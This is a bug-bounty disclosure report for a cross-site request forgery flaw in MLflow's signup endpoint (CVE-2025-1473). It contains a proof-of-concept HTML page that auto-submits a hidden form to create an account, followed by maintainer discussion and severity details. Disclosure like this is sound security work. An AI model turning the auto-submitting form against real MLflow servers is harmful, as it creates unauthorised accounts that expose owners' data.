

CSRF ON SIGNUP PAGE in mlflow/mlflow

✓ Valid

Reported on Oct 31st 2024

CSRF ON CREATING A NEW USER in mlflow/mlflow Reported on Oct 31st 2024 The Signup feature of Mlflow is vulnerable to CSRF attack that allow attacker to create a new account. This may be used to perform unauthorised actions on behalf of the malicious user .

Proof of Concept :

An attacker can use CSRF to create a new user .

```
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF Attack</title>
</head> <body onload="document.forms['csrfForm'].submit();"> <form id="csrfForm"
action="http://127.0.0.1:5000/api/2.0/mlflow/users/create" method="POST"> <input type="hidden"
name="username" value="ROOT"> <input type="hidden" name="password" value="ROOT">
</form> </body> </html>
```

Impact The Signup feature of Mlflow is vulnerable to CSRF attack that allow attacker to create a new account. This may be used to perform unauthorised actions on behalf of the malicious user .

Occurrences python *init.py*#L751

Impact

The Signup feature of Mlflow is vulnerable to CSRF attack that allow attacker to create a new account. This may be used to perform unauthorised actions on behalf of the malicious user .

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. a year ago

🕒 A **GitHub Issue** asking the maintainers to create a SECURITY.md exists a year ago



✍️ **huntr-helper** modified the Severity from High (8.1) to Medium (5.4) a year ago



Daniel Lok commented a year ago

Maintainer

Could you elaborate more on the vulnerability here? How is this different than just using the normal MLflow UI or sending a POST request from CLI to create an account?



 The scheduled publication date was automatically extended from 29th Jan 2025 to 5th Feb 2025 due to the maintainers acknowledgement of the report a year ago



Krishna commented a year ago

Researcher

Thank you for your acknowledgment of the report.

To clarify the vulnerability, the CSRF attack allows an attacker to create a new user without the consent of an authenticated user by exploiting the trust that MLflow has in the user's browser. This differs from merely using the UI or CLI, as the attack takes place without the victim's knowledge and can leverage their session to perform unauthorized actions. For instance, if the admin visits a site, the attacker can create a new user that will have access to sensitive data & functionality within MLflow.



Krishna commented a year ago

Researcher

Any update regarding the report?



Krishna commented a year ago

Researcher

any update on the request ?



Daniel Lok commented a year ago

Maintainer

We're working on a fix!



Krishna commented a year ago

Researcher

Hello please give some update on the report. Also this vulnerability affects the Confidentiality, it should be considered as high

 We have notified the **mlflow/mlflow** maintainers about this report in their weekly follow-up a year ago

[Sign in](#) to join this conversation

CVE
CVE-2025-1473
Published

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity

Medium (5.4)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	Low
Integrity	Low
Availability	None

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

2.17.0

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



Krishna

@krishnast545

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

